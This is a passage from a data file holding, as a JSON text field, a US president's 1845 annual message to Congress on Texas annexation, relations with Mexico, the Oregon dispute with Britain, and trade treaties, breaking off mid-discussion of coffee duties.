+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:It is to me a source of unaffected satisfaction to meet the representatives\nof the States and the people in Congress assembled, as it will be to\nreceive the aid of their combined wisdom in the administration of public\naffairs. In performing for the first time the duty imposed on me by the\nConstitution of giving to you information of the state of the Union and\nrecommending to your consideration such measures as in my judgment are\nnecessary and expedient, I am happy that I can congratulate you on the\ncontinued prosperity of our country. Under the blessings of Divine\nProvidence and the benign influence of our free institutions, it stands\nbefore the world a spectacle of national happiness.With our unexampled advancement in all the elements of national greatness,\nthe affection of the people is confirmed for the Union of the States and\nfor the doctrines of popular liberty which lie at the foundation of our\nGovernment.It becomes us in humility to make our devout acknowledgments to the Supreme\nRuler of the Universe for the inestimable civil and religious blessings\nwith which we are favored.In calling the attention of Congress to our relations with foreign powers,\nI am gratified to be able to state that though with some of them there have\nexisted since your last session serious causes of irritation and\nmisunderstanding, yet no actual hostilities have taken place. Adopting the\nmaxim in the conduct of our foreign affairs \"to ask nothing that is not\nright and submit to nothing that is wrong,\" it has been my anxious desire\nto preserve peace with all nations, but at the same time to be prepared to\nresist aggression and maintain all our just rights.In pursuance of the joint resolution of Congress \"for annexing Texas to the\nUnited States,\" my predecessor, on the 3d day of March, 1845, elected to\nsubmit the first and second sections of that resolution to the Republic of\nTexas as an overture on the part of the United States for her admission as\na State into our Union. This election I approved, and accordingly the\ncharge d'affaires of the United States in Texas, under instructions of the\n10th of March, 1845, presented these sections of the resolution for the\nacceptance of that Republic. The executive government, the Congress, and\nthe people of Texas in convention have successively complied with all the\nterms and conditions of the joint resolution. A constitution for the\ngovernment of the State of Texas, formed by a convention of deputies, is\nherewith laid before Congress. It is well known, also, that the people of\nTexas at the polls have accepted the terms of annexation and ratified the\nconstitution. I communicate to Congress the correspondence between the\nSecretary of State and our charge d'affaires in Texas, and also the\ncorrespondence of the latter with the authorities of Texas, together with\nthe official documents transmitted by him to his own Government. The terms\nof annexation which were offered by the United States having been accepted\nby Texas, the public faith of both parties is solemnly pledged to the\ncompact of their union. Nothing remains to consummate the event but the\npassage of an act by Congress to admit the State of Texas into the Union\nupon an equal footing with the original States. Strong reasons exist why\nthis should be done at an early period of the session. It will be observed\nthat by the constitution of Texas the existing government is only continued\ntemporarily till Congress can act, and that the third Monday of the present\nmonth is the day appointed for holding the first general election. On that\nday a governor, a lieutenant-governor, and both branches of the legislature\nwill be chosen by the people. The President of Texas is required,\nimmediately after the receipt of official information that the new State\nhas been admitted into our Union by Congress, to convene the legislature,\nand upon its meeting the existing government will be superseded and the\nState government organized. Questions deeply interesting to Texas, in\ncommon with the other States, the extension of our revenue laws and\njudicial system over her people and territory, as well as measures of a\nlocal character, will claim the early attention of Congress, and therefore\nupon every principle of republican government she ought to be represented\nin that body without unnecessary delay. I can not too earnestly recommend\nprompt action on this important subject. As soon as the act to admit Texas\nas a State shall be passed the union of the two Republics will be\nconsummated by their own voluntary consent.This accession to our territory has been a bloodless achievement. No arm of\nforce has been raised to produce the result. The sword has had no part in\nthe victory. We have not sought to extend our territorial possessions by\nconquest, or our republican institutions over a reluctant people. It was\nthe deliberate homage of each people to the great principle of our\nfederative union. If we consider the extent of territory involved in the\nannexation, its prospective influence on America, the means by which it has\nbeen accomplished, springing purely from the choice of the people\nthemselves to share the blessings of our union, the history of the world\nmay be challenged to furnish a parallel. The jurisdiction of the United\nStates, which at the formation of the Federal Constitution was bounded by\nthe St. Marys on the Atlantic, has passed the capes of Florida and been\npeacefully extended to the Del Norte. In contemplating the grandeur of this\nevent it is not to be forgotten that the result was achieved in despite of\nthe diplomatic interference of European monarchies. Even France, the\ncountry which had been our ancient ally, the country which has a common\ninterest with us in maintaining the freedom of the seas, the country which,\nby the cession of Louisiana, first opened to us access to the Gulf of\nMexico, the country with which we have been every year drawing more and\nmore closely the bonds of successful commerce, most unexpectedly, and to\nour unfeigned regret, took part in an effort to prevent annexation and to\nimpose on Texas, as a condition of the recognition of her independence by\nMexico, that she would never join herself to the United States. We may\nrejoice that the tranquil and pervading influence of the American principle\nof self-government was sufficient to defeat the purposes of British and\nFrench interference, and that the almost unanimous voice of the people of\nTexas has given to that interference a peaceful and effective rebuke. From\nthis example European Governments may learn how vain diplomatic arts and\nintrigues must ever prove upon this continent against that system of\nself-government which seems natural to our soil, and which will ever resist\nforeign interference.Toward Texas I do not doubt that a liberal and generous spirit will actuate\nCongress in all that concerns her interests and prosperity, and that she\nwill never have cause to regret that she has united her \"lone star\" to our\nglorious constellation.I regret to inform you that our relations with Mexico since your last\nsession have not been of the amicable character which it is our desire to\ncultivate with all foreign nations. On the 6th day of March last the\nMexican envoy extraordinary and minister plenipotentiary to the United\nStates made a formal protest in the name of his Government against the\njoint resolution passed by Congress \"for the annexation of Texas to the\nUnited States,\" which he chose to regard as a violation of the rights of\nMexico, and in consequence of it he demanded his passports. He was informed\nthat the Government of the United States did not consider this joint\nresolution as a violation of any of the rights of Mexico, or that it\nafforded any just cause of offense to his Government; that the Republic of\nTexas was an independent power, owing no allegiance to Mexico and\nconstituting no part of her territory or rightful sovereignty and\njurisdiction. He was also assured that it was the sincere desire of this\nGovernment to maintain with that of Mexico relations of peace and good\nunderstanding. That functionary, however, notwithstanding these\nrepresentations and assurances, abruptly terminated his mission and shortly\nafterwards left the country. Our envoy extraordinary and minister\nplenipotentiary to Mexico was refused all official intercourse with that\nGovernment, and, after remaining several months, by the permission of his\nown Government he returned to the United States. Thus, by the acts of\nMexico, all diplomatic intercourse between the two countries was\nsuspended.Since that time Mexico has until recently occupied an attitude of hostility\ntoward the United States--has been marshaling and organizing armies,\nissuing proclamations, and avowing the intention to make war on the United\nStates, either by an open declaration or by invading Texas. Both the\nCongress and convention of the people of Texas invited this Government to\nsend an army into that territory to protect and defend them against the\nmenaced attack. The moment the terms of annexation offered by the United\nStates were accepted by Texas the latter became so far a part of our own\ncountry as to make it our duty to afford such protection and defense. I\ntherefore deemed it proper, as a precautionary measure, to order a strong\nsquadron to the coasts of Mexico and to concentrate an efficient military\nforce on the western frontier of Texas. Our Army was ordered to take\nposition in the country between the Nueces and the Del Norte, and to repel\nany invasion of the Texan territory which might be attempted by the Mexican\nforces. Our squadron in the Gulf was ordered to cooperate with the Army.\nBut though our Army and Navy were placed in a position to defend our own\nand the rights of Texas, they were ordered to commit no act of hostility\nagainst Mexico unless she declared war or was herself the aggressor by\nstriking the first blow. The result has been that Mexico has made no\naggressive movement, and our military and naval commanders have executed\ntheir orders with such discretion that the peace of the two Republics has\nnot been disturbed. Texas had declared her independence and maintained it\nby her arms for more than nine years. She has had an organized government\nin successful operation during that period. Her separate existence as an\nindependent state had been recognized by the United States and the\nprincipal powers of Europe. Treaties of commerce and navigation had been\nconcluded with her by different nations, and it had become manifest to the\nwhole world that any further attempt on the part of Mexico to conquer her\nor overthrow her Government would be vain. Even Mexico herself had become\nsatisfied of this fact, and whilst the question of annexation was pending\nbefore the people of Texas during the past summer the Government of Mexico,\nby a formal act, agreed to recognize the independence of Texas on condition\nthat she would not annex herself to any other power. The agreement to\nacknowledge the independence of Texas, whether with or without this\ncondition, is conclusive against Mexico. The independence of Texas is a\nfact conceded by Mexico herself, and she had no right or authority to\nprescribe restrictions as to the form of government which Texas might\nafterwards choose to assume. But though Mexico can not complain of the\nUnited States on account of the annexation of Texas, it is to be regretted\nthat serious causes of misunderstanding between the two countries continue\nto exist, growing out of unredressed injuries inflicted by the Mexican\nauthorities and people on the persons and property of citizens of the\nUnited States through a long series of years. Mexico has admitted these\ninjuries, but has neglected and refused to repair them. Such was the\ncharacter of the wrongs and such the insults repeatedly offered to American\ncitizens and the American flag by Mexico, in palpable violation of the laws\nof nations and the treaty between the two countries of the 5th of April,\n1831, that they have been repeatedly brought to the notice of Congress by\nmy predecessors. As early as the 6th of February, 1837, the President of\nthe United States declared in a message to Congress that--The length of time since some of the injuries have been committed, the\nrepeated and unavailing applications for redress, the wanton character of\nsome of the outrages upon the property and persons of our citizens, upon\nthe officers and flag of the United States, independent of recent insults\nto this Government and people by the late extraordinary Mexican minister,\nwould justify in the eyes of all nations immediate war.He did not, however, recommend an immediate resort to this extreme measure,\nwhich, he declared, \"should not be used by just and generous nations,\nconfiding in their strength for injuries committed, if it can be honorably\navoided,\" but, in a spirit of forbearance, proposed that another demand be\nmade on Mexico for that redress which had been so long and unjustly\nwithheld. In these views committees of the two Houses of Congress, in\nreports made to their respective bodies, concurred. Since these proceedings\nmore than eight years have elapsed, during which, in addition to the wrongs\nthen complained of, others of an aggravated character have been committed\non the persons and property of our citizens. A special agent was sent to\nMexico in the summer of 1838 with full authority to make another and final\ndemand for redress. The demand was made; the Mexican Government promised to\nrepair the wrongs of which we complained, and after much delay a treaty of\nindemnity with that view was concluded between the two powers on the 11th\nof April, 1839, and was duly ratified by both Governments. By this treaty a\njoint commission was created to adjudicate and decide on the claims of\nAmerican citizens on the Government of Mexico. The commission was organized\nat Washington on the 25th day of August, 1840. Their time was limited to\neighteen months, at the expiration of which they had adjudicated and\ndecided claims amounting to $2,026,139.68 in favor of citizens of the\nUnited States against the Mexican Government, leaving a large amount of\nclaims undecided. Of the latter the American commissioners had decided in\nfavor of our citizens claims amounting to $928,627.88, which were left\nunacted on by the umpire authorized by the treaty. Still further claims,\namounting to between three and four millions of dollars, were submitted to\nthe board too late to be considered, and were left undisposed of. The sum\nof $2,026,139.68, decided by the board, was a liquidated and ascertained\ndebt due by Mexico to the claimants, and there was no justifiable reason\nfor delaying its payment according to the terms of the treaty. It was not,\nhowever, paid. Mexico applied for further indulgence, and, in that spirit\nof liberality and forbearance which has ever marked the policy of the\nUnited States toward that Republic, the request was granted, and on the\n30th of January, 1843, a new treaty was concluded. By this treaty it was\nprovided that the interest due on the awards in favor of claimants under\nthe convention of the 11th of April, 1839, should be paid out the 30th of\nApril, 1843, and that--The principal of the said awards and the interest accruing thereon shall be\npaid in five years, in equal installments every three months, the said term\nof five years to commence on the 30th day of April, 1843, aforesaid.The interest due on the 30th day of April, 1843, and the three first of the\ntwenty installments have been paid. Seventeen of these installments, remain\nunpaid, seven of which are now due.The claims which were left undecided by the joint commission, amounting to\nmore than $3,000,000, together with other claims for spoliations on the\nproperty of our citizens, were subsequently presented to the Mexican\nGovernment for payment, and were so far recognized that a treaty providing\nfor their examination and settlement by a joint commission was concluded\nand signed at Mexico on the 20th day of November, 1843. This treaty was\nratified by the United States with certain amendments to which no just\nexception could have been taken, but it has not yet received the\nratification of the Mexican Government. In the meantime our citizens, who\nsuffered great losses--and some of whom have been reduced from affluence to\nbankruptcy--are without remedy unless their rights be enforced by their\nGovernment. Such a continued and unprovoked series of wrongs could never\nhave been tolerated by the United States had they been committed by one of\nthe principal nations of Europe. Mexico was, however, a neighboring sister\nrepublic, which, following our example, had achieved her independence, and\nfor whose success and prosperity all our sympathies were early enlisted.\nThe United States were the first to recognize her independence and to\nreceive her into the family of nations, and have ever been desirous of\ncultivating with her a good understanding. We have therefore borne the\nrepeated wrongs she has committed with great patience, in the hope that a\nreturning sense of justice would ultimately guide her councils and that we\nmight, if possible, honorably avoid any hostile collision with her. Without\nthe previous authority of Congress the Executive possessed no power to\nadopt or enforce adequate remedies for the injuries we had suffered, or to\ndo more than to be prepared to repel the threatened aggression on the part\nof Mexico. After our Army and Navy had remained on the frontier and coasts\nof Mexico for many weeks without any hostile movement on her part, though\nher menaces were continued, I deemed it important to put an end, if\npossible, to this state of things. With this view I caused steps to be\ntaken in the month of September last to ascertain distinctly and in an\nauthentic form what the designs of the Mexican Government were--whether it\nwas their intention to declare war, or invade Texas, or whether they were\ndisposed to adjust and settle in an amicable manner the pending differences\nbetween the two countries. On the 9th of November an official answer was\nreceived that the Mexican Government consented to renew the diplomatic\nrelations which had been suspended in March last, and for that purpose were\nwilling to accredit a minister from the United States. With a sincere\ndesire to preserve peace and restore relations of good understanding\nbetween the two Republics, I waived all ceremony as to the manner of\nrenewing diplomatic intercourse between them, and, assuming the initiative,\non the 10th of November a distinguished citizen of Louisiana was appointed\nenvoy extraordinary and minister plenipotentiary to Mexico, clothed with\nfull powers to adjust and definitively settle all pending differences\nbetween the two countries, including those of boundary between Mexico and\nthe State of Texas. The minister appointed has set out on his mission and\nis probably by this time near the Mexican capital. He has been instructed\nto bring the negotiation with which he is charged to a conclusion at the\nearliest practicable period, which it is expected will be in time to enable\nme to communicate the result to Congress during the present session. Until\nthat result is known I forbear to recommend to Congress such ulterior\nmeasures of redress for the wrongs and injuries we have so long borne as it\nwould have been proper to make had no such negotiation been instituted.Congress appropriated at the last session the sum of $275,000 for the\npayment of the April and July installments of the Mexican indemnities for\nthe year 1844:Provided it shall be ascertained to the satisfaction of the American\nGovernment that said installments have been paid by the Mexican Government\nto the agent appointed by the United States to receive the same in such\nmanner as to discharge all claim on the Mexican Government, and said agent\nto be delinquent in remitting the money to the United States.The unsettled state of our relations with Mexico has involved this subject\nin much mystery. The first information in an authentic form from the agent\nof the United States, appointed under the Administration of my predecessor,\nwas received at the State Department on the 9th of November last. This is\ncontained in a letter, dated the 17th of October, addressed by him to one\nof our citizens then in Mexico with a view of having it communicated to\nthat Department. From this it appears that the agent on the 20th of\nSeptember, 1844, gave a receipt to the treasury of Mexico for the amount of\nthe April and July installments of the indemnity. In the same\ncommunication, however, he asserts that he had not received a single dollar\nin cash, but that he holds such securities as warranted him at the time in\ngiving the receipt, and entertains no doubt but that he will eventually\nobtain the money. As these installments appear never to have been actually\npaid by the Government of Mexico to the agent, and as that Government has\nnot, therefore, been released so as to discharge the claim, I do not feel\nmyself warranted in directing payment to be made to the claimants out of\nthe Treasury without further legislation. Their case is undoubtedly one of\nmuch hardship, and it remains for Congress to decide whether any, and what,\nrelief ought to be granted to them. Our minister to Mexico has been\ninstructed to ascertain the facts of the case from the Mexican Government\nin an authentic and official form and report the result with as little\ndelay as possible.My attention was early directed to the negotiation which on the 4th of\nMarch last I found pending at Washington between the United States and\nGreat Britain on the subject of the Oregon Territory. Three several\nattempts had been previously made to settle the questions in dispute\nbetween the two countries by negotiation upon the principle of compromise,\nbut each had proved unsuccessful. These negotiations took place at London\nin the years 1818, 1824, and 1826--the two first under the Administration\nof Mr. Monroe and the last under that of Mr. Adams. The negotiation of\n1818, having failed to accomplish its object, resulted in the convention of\nthe 20th of October of that year.By the third article of that convention it was--Agreed that any country that may be claimed by either party on the\nnorthwest coast of America westward of the Stony Mountains shall, together\nwith its harbors, bays, and creeks, and the navigation of all rivers within\nthe same, be free and open for the term of ten years from the date of the\nsignature of the present convention to the vessels, citizens, and subjects\nof the two powers; it being well understood that this agreement is not to\nbe construed to the prejudice of any claim which either of the two high\ncontracting parties may have to any part of the said country, nor shall it\nbe taken to affect the claims of any other power or state to any part of\nthe said country, the only object of the high contracting parties in that\nrespect being to prevent disputes and differences amongst themselves.The negotiation of 1824 was productive of no result, and the convention of\n1818 was left unchanged.The negotiation of 1826, having also failed to effect an adjustment by\ncompromise, resulted in the convention of August 6, 1827, by which it was\nagreed to continue in force for an indefinite period the provisions of the\nthird article of the convention of the 20th of October, 1818; and it was\nfurther provided that--It shall be competent, however, to either of the contracting parties, in\ncase either should think fit, at any time after the 20th of October, 1828,\non giving due notice of twelve months to the other contracting party, to\nannul and abrogate this convention; and it shall in such case be\naccordingly entirely annulled and abrogated after the expiration of the\nsaid term of notice.In these attempts to adjust the controversy the parallel of the forty-ninth\ndegree of north latitude had been offered by the United States to Great\nBritain, and in those of 1818 and 1826, with a further concession of the\nfree navigation of the Columbia River south of that latitude. The parallel\nof the forty-ninth degree from the Rocky Mountains to its intersection with\nthe northeasternmost branch of the Columbia, and thence down the channel of\nthat river to the sea, had been offered by Great Britain, with an addition\nof a small detached territory north of the Columbia. Each of these\npropositions had been rejected by the parties respectively. In October,\n1843, the envoy extraordinary and minister plenipotentiary of the United\nStates in London was authorized to make a similar offer to those made in\n1818 and 1826. Thus stood the question when the negotiation was shortly\nafterwards transferred to Washington, and on the 23d of August, 1844, was\nformally opened under the direction of my immediate predecessor. Like all\nthe previous negotiations, it was based upon principles of \"compromise,\"\nand the avowed purpose of the parties was \"to treat of the respective\nclaims of the two countries to the Oregon Territory with the view to\nestablish a permanent boundary between them westward of the Rocky Mountains\nto the Pacific Ocean.\"Accordingly, on the 26th of August, 1844, the British plenipotentiary\noffered to divide the Oregon Territory by the forty-ninth parallel of north\nlatitude from the Rocky Mountains to the point of its intersection with the\nnortheasternmost branch of the Columbia River, and thence down that river\nto the sea, leaving the free navigation of the river to be enjoyed in\ncommon by both parties, the country south of this line to belong to the\nUnited States and that north of it to Great Britain. At the same time he\nproposed in addition to yield to the United States a detached territory\nnorth of the Columbia extending along the Pacific and the Straits of Fuca\nfrom Bulfinchs Harbor, inclusive, to Hoods Canal, and to make free to the\nUnited States any port or ports south of latitude 49  which they might\ndesire, either on the mainland or on Quadra and Vancouvers Island. With the\nexception of the free ports, this was the same offer which had been made by\nthe British and rejected by the American Government in the negotiation of\n1826. This proposition was properly rejected by the American\nplenipotentiary on the day it was submitted. This was the only proposition\nof compromise offered by the British plenipotentiary. The proposition on\nthe part of Great Britain having been rejected, the British plenipotentiary\nrequested that a proposal should be made by the United States for \"an\nequitable adjustment of the question.\" When I came into office I found this\nto be the state of the negotiation. Though entertaining the settled\nconviction that the British pretensions of title could not be maintained to\nany portion of the Oregon Territory upon any principle of public law\nrecognized by nations, yet in deference to what had been done by my\npredecessors, and especially in consideration that propositions of\ncompromise had been thrice made by two preceding Administrations to adjust\nthe question on the parallel of 49 , and in two of them yielding to\nGreat Britain the free navigation of the Columbia, and that the pending\nnegotiation had been commenced on the basis of compromise, I deemed it to\nbe my duty not abruptly to break it off. In consideration, too, that under\nthe conventions of 1818 and 1827 the citizens and subjects of the two\npowers held a joint occupancy of the country, I was induced to make another\neffort to settle this long-pending controversy in the spirit of moderation\nwhich had given birth to the renewed discussion. A proposition was\naccordingly made, which was rejected by the British plenipotentiary, who,\nwithout submitting any other proposition, suffered the negotiation on his\npart to drop, expressing his trust that the United States would offer what\nhe saw fit to call \"some further proposal for the settlement of the Oregon\nquestion more consistent with fairness and equity and with the reasonable\nexpectations of the British Government.\" The proposition thus offered and\nrejected repeated the offer of the parallel of 49  of north latitude,\nwhich had been made by two preceding Administrations, but without proposing\nto surrender to Great Britain, as they had done, the free navigation of the\nColumbia River. The right of any foreign power to the free navigation of\nany of our rivers through the heart of our country was one which I was\nunwilling to concede. It also embraced a provision to make free to Great\nBritain any port or ports on the cap of Quadra and Vancouvers Island south\nof this parallel. Had this been a new question, coming under discussion for\nthe first time, this proposition would not have been made. The\nextraordinary and wholly inadmissible demands of the British Government and\nthe rejection of the proposition made in deference alone to what had been\ndone by my predecessors and the implied obligation which their acts seemed\nto impose afford satisfactory evidence that no compromise which the United\nStates ought to accept can be effected. With this conviction the\nproposition of compromise which had been made and rejected was by my\ndirection subsequently withdrawn and our title to the whole Oregon\nTerritory asserted, and, as is believed, maintained by irrefragable facts\nand arguments.The civilized world will see in these proceedings a spirit of liberal\nconcession on the part of the United States, and this Government will be\nrelieved from all responsibility which may follow the failure to settle the\ncontroversy.All attempts at compromise having failed, it becomes the duty of Congress\nto consider what measures it may be proper to adopt for the security and\nprotection of our citizens now inhabiting or who may hereafter inhabit\nOregon, and for the maintenance of our just title to that Territory. In\nadopting measures for this purpose care should be taken that nothing be\ndone to violate the stipulations of the convention of 1827, which is still\nin force. The faith of treaties, in their letter and spirit, has ever been,\nand, I trust, will ever be, scrupulously observed by the United States.\nUnder that convention a year's notice is required to be given by either\nparty to the other before the joint occupancy shall terminate and before\neither can rightfully assert or exercise exclusive jurisdiction over any\nportion of the territory. This notice it would, in my judgment, be proper\nto give, and I recommend that provision be made by law for giving it\naccordingly, and terminating in this manner the convention of the 6th of\nAugust, 1827.It will become proper for Congress to determine what legislation they can\nin the meantime adopt without violating this convention. Beyond all\nquestion the protection of our laws and our jurisdiction, civil and\ncriminal, ought to be immediately extended over our citizens in Oregon.\nThey have had just cause to complain of our long neglect in this\nparticular, and have in consequence been compelled for their own security\nand protection to establish a provisional government for themselves. Strong\nin their allegiance and ardent in their attachment to the United States,\nthey have been thus cast upon their own resources. They are anxious that\nour laws should be extended over them, and I recommend that this be done by\nCongress with as little delay as possible in the full extent to which the\nBritish Parliament have proceeded in regard to British subjects in that\nTerritory by their act of July 2, 1821, \"for regulating the fur trade and\nestablishing a criminal and civil jurisdiction within certain parts of\nNorth America.\" By this act Great Britain extended her laws and\njurisdiction, civil and criminal, over her subjects engaged in the fur\ntrade in that Territory. By it the courts of the Province of Upper Canada\nwere empowered to take cognizance of causes civil and criminal. Justices of\nthe peace and other judicial officers were authorized to be appointed in\nOregon with power to execute all process issuing from the courts of that\nProvince, and to \"sit and hold courts of record for the trial of criminal\noffenses and misdemeanors\" not made the subject of capital punishment, and\nalso of civil cases where the cause of action shall not \"exceed in value\nthe amount or sum of lbs. 200.\"Subsequent to the date of this act of Parliament a grant was made from the\n\"British Crown\" to the Hudsons Bay Company of the exclusive trade with the\nIndian tribes in the Oregon Territory, subject to a reservation that it\nshall not operate to the exclusion \"of the subjects of any foreign states\nwho, under or by force of any convention for the time being between us and\nsuch foreign states, respectively, may be entitled to and shall be engaged\nin the said trade.\" It is much to be regretted that while under this act\nBritish subjects have enjoyed the protection of British laws and British\njudicial tribunals throughout the whole of Oregon, American citizens in the\nsame Territory have enjoyed no such protection from their Government. At\nthe same time, the result illustrates the character of our people and their\ninstitutions. In spite of this neglect they have multiplied, and their\nnumber is rapidly increasing in that Territory. They have made no appeal to\narms, but have peacefully fortified themselves in their new homes by the\nadoption of republican institutions for themselves, furnishing another\nexample of the truth that self-government is inherent in the American\nbreast and must prevail. It is due to them that they should be embraced and\nprotected by our laws. It is deemed important that our laws regulating\ntrade and intercourse with the Indian tribes east of the Rocky Mountains\nshould be extended to such tribes as dwell beyond them. The increasing\nemigration to Oregon and the care and protection which is due from the\nGovernment to its citizens in that distant region make it our duty, as it\nis our interest, to cultivate amicable relations with the Indian tribes of\nthat Territory. For this purpose I recommend that provision be made for\nestablishing an Indian agency and such subagencies as may be deemed\nnecessary beyond the Rocky Mountains.For the protection of emigrants whilst on their way to Oregon against the\nattacks of the Indian tribes occupying the country through which they pass,\nI recommend that a suitable number of stockades and blockhouse forts be\nerected along the usual route between our frontier settlements on the\nMissouri and the Rocky Mountains, and that an adequate force of mounted\nriflemen be raised to guard and protect them on their journey. The\nimmediate adoption of these recommendations by Congress will not violate\nthe provisions of the existing treaty. It will be doing nothing more for\nAmerican citizens than British laws have long since done for British\nsubjects in the same territory.It requires several months to perform the voyage by sea from the Atlantic\nStates to Oregon, and although we have a large number of whale ships in the\nPacific, but few of them afford an opportunity of interchanging\nintelligence without great delay between our settlements in that distant\nregion and the United States. An overland mail is believed to be entirely\npracticable, and the importance of establishing such a mail at least once a\nmonth is submitted to the favorable consideration of Congress.It is submitted to the wisdom of Congress to determine whether at their\npresent session, and until after the expiration of the year's notice, any\nother measures may be adopted consistently with the convention of 1827 for\nthe security of our rights and the government and protection of our\ncitizens in Oregon. That it will ultimately be wise and proper to make\nliberal grants of land to the patriotic pioneers who amidst privations and\ndangers lead the way through savage tribes inhabiting the vast wilderness\nintervening between our frontier settlements and Oregon, and who cultivate\nand are ever ready to defend the soil, I am fully satisfied. To doubt\nwhether they will obtain such grants as soon as the convention between the\nUnited States and Great Britain shall have ceased to exist would be to\ndoubt the justice of Congress; but, pending the year's notice, it is worthy\nof consideration whether a stipulation to this effect may be made\nconsistently with the spirit of that convention.The recommendations which I have made as to the best manner of securing our\nrights in Oregon are submitted to Congress with great deference. Should\nthey in their wisdom devise any other mode better calculated to accomplish\nthe same object, it shall meet with my hearty concurrence.At the end of the year's notice, should Congress think it proper to make\nprovision for giving that notice, we shall have reached a period when the\nnational rights in Oregon must either be abandoned or firmly maintained.\nThat they can not be abandoned without a sacrifice of both national honor\nand interest is too clear to admit of doubt.Oregon is a part of the North American continent, to which, it is\nconfidently affirmed, the title of the United States is the best now in\nexistence. For the grounds on which that title rests I refer you to the\ncorrespondence of the late and present Secretary of State with the British\nplenipotentiary during the negotiation. The British proposition of\ncompromise, which would make the Columbia the line south of 49 , with a\ntrifling addition of detached territory to the United States north of that\nriver, and would leave on the British side two-thirds of the whole Oregon\nTerritory, including the free navigation of the Columbia and all the\nvaluable harbors on the Pacific, can never for a moment be entertained by\nthe United States without an abandonment of their just and dear territorial\nrights, their own self-respect, and the national honor. For the information\nof Congress, I communicate herewith the correspondence which took place\nbetween the two Governments during the late negotiation.The rapid extension of our settlements over our territories heretofore\nunoccupied, the addition of new States to our Confederacy, the expansion of\nfree principles, and our rising greatness as a nation are attracting the\nattention of the powers of Europe, and lately the doctrine has been\nbroached in some of them of a \"balance of power\" on this continent to check\nour advancement. The United States, sincerely desirous of preserving\nrelations of good understanding with all nations, can not in silence permit\nany European interference on the North American continent, and should any\nsuch interference be attempted will be ready to resist it at any and all\nhazards.It is well known to the American people and to all nations that this\nGovernment has never interfered with the relations subsisting between other\ngovernments. We have never made ourselves parties to their wars or their\nalliances; we have not sought their territories by conquest; we have not\nmingled with parties in their domestic struggles; and believing our own\nform of government to be the best, we have never attempted to propagate it\nby intrigues, by diplomacy, or by force. We may claim on this continent a\nlike exemption from European interference. The nations of America are\nequally sovereign and independent with those of Europe. They possess the\nsame rights, independent of all foreign interposition, to make war, to\nconclude peace, and to regulate their internal affairs. The people of the\nUnited States can not, therefore, view with indifference attempts of\nEuropean powers to interfere with the independent action of the nations on\nthis continent. The American system of government is entirely different\nfrom that of Europe. Jealousy among the different sovereigns of Europe,\nlest any one of them might become too powerful for the rest, has caused\nthem anxiously to desire the establishment of what they term the \"balance\nof power.\" It can not be permitted to have any application on the North\nAmerican continent, and especially to the United States. We must ever\nmaintain the principle that the people of this continent alone have the\nright to decide their own destiny. Should any portion of them, constituting\nan independent state, propose to unite themselves with our Confederacy,\nthis will be a question for them and us to determine without any foreign\ninterposition. We can never consent that European powers shall interfere to\nprevent such a union because it might disturb the \"balance of power\" which\nthey may desire to maintain upon this continent. Near a quarter of a\ncentury ago the principle was distinctly announced to the world, in the\nannual message of one of my predecessors, that--The American continents, by the free and independent condition which they\nhave assumed and maintain, are henceforth not to be considered as subjects\nfor colonization by any European powers.This principle will apply with greatly increased force should any European\npower attempt to establish any new colony in North America. In the existing\ncircumstances of the world the present is deemed a proper occasion to\nreiterate and reaffirm the principle avowed by Mr. Monroe and to state my\ncordial concurrence in its wisdom and sound policy. The reassertion of this\nprinciple, especially in reference to North America, is at this day but the\npromulgation of a policy which no European power should cherish the\ndisposition to resist. Existing rights of every European nation should be\nrespected, but it is due alike to our safety and our interests that the\nefficient protection of our laws should be extended over our whole\nterritorial limits, and that it should be distinctly announced to the world\nas our settled policy that no future European colony or dominion shall with\nour consent be planted or established on any part of the North American\ncontinent.A question has recently arisen under the tenth article of the subsisting\ntreaty between the United States and Prussia. By this article the consuls\nof the two countries have the right to sit as judges and arbitrators \"in\nsuch differences as may arise between the captains and crews of the vessels\nbelonging to the nation whose interests are committed to their charge\nwithout the interference of the local authorities, unless the conduct of\nthe crews or of the captain should disturb the order or tranquillity of the\ncountry, or the said consuls should require their assistance to cause their\ndecisions to be carried into effect or supported.\"The Prussian consul at New Bedford in June, 1844, applied to Mr. Justice\nStory to carry into effect a decision made by him between the captain and\ncrew of the Prussian ship Borussia, but the request was refused on the\nground that without previous legislation by Congress the judiciary did not\npossess the power to give effect to this article of the treaty. The\nPrussian Government, through their minister here, have complained of this\nviolation of the treaty, and have asked the Government of the United States\nto adopt the necessary measures to prevent similar violations hereafter.\nGood faith to Prussia, as well as to other nations with whom we have\nsimilar treaty stipulations, requires that these should be faithfully\nobserved. I have deemed it proper, therefore, to lay the subject before\nCongress and to recommend such legislation as may be necessary to give\neffect to these treaty obligations.By virtue of an arrangement made between the Spanish Government and that of\nthe United States in December, 1831, American vessels, since the 29th of\nApril, 1832, have been admitted to entry in the ports of Spain, including\nthose of the Balearic and Canary islands, on payment of the same tonnage\nduty of 5 cents per ton, as though they had been Spanish vessels; and this\nwhether our vessels arrive in Spain directly from the United States or\nindirectly from any other country. When Congress, by the act of 13th July,\n1832, gave effect to this arrangement between the two Governments, they\nconfined the reduction of tonnage duty merely to Spanish vessels \"coming\nfrom a port in Spain,\" leaving the former discriminating duty to remain\nagainst such vessels coming from a port in any other country. It is\nmanifestly unjust that whilst American vessels arriving in the ports of\nSpain from other countries pay no more duty than Spanish vessels, Spanish\nvessels arriving in the ports of the United States from other countries\nshould be subjected to heavy discriminating tonnage duties. This is neither\nequality nor reciprocity, and is in violation of the arrangement concluded\nin December, 1831, between the two countries. The Spanish Government have\nmade repeated and earnest remonstrances against this inequality, and the\nfavorable attention of Congress has been several times invoked to the\nsubject by my predecessors. I recommend, as an act of justice to Spain,\nthat this inequality be removed by Congress and that the discriminating\nduties which have been levied under the act of the 13th of July, 1832, on\nSpanish vessels coming to the United States from any other foreign country\nbe refunded. This recommendation does not embrace Spanish vessels arriving\nin the United States from Cuba and Porto Rico, which will still remain\nsubject to the provisions of the act of June 30, 1834, concerning tonnage\nduty on such vessels. By the act of the 14th of July, 1832, coffee was\nexempted from duty altogether. This exemption was universal, without\nreference to the country where it was produced or the national character of\nthe vessel in which it was imported. By the tariff act of the 30th of\nAugust, 1842, this exemption from duty was restricted to coffee imported in\nAmerican vessels from the place of its production, whilst coffee imported\nunder all other circumstances was subjected to a duty of 20 per cent ad\nvalorem. Under this act and our existing treaty with the King of the\nNetherlands Java coffee imported from the European ports of that Kingdom\ninto the United States, whether in Dutch or American vessels, now pays this\nrate of duty. The Government of the Netherlands complains that such a\ndiscriminating duty should have been imposed on coffee the production of\none of its colonies, and which is chiefly brought from Java to the ports of\nthat Kingdom and exported from thence to foreign countries. 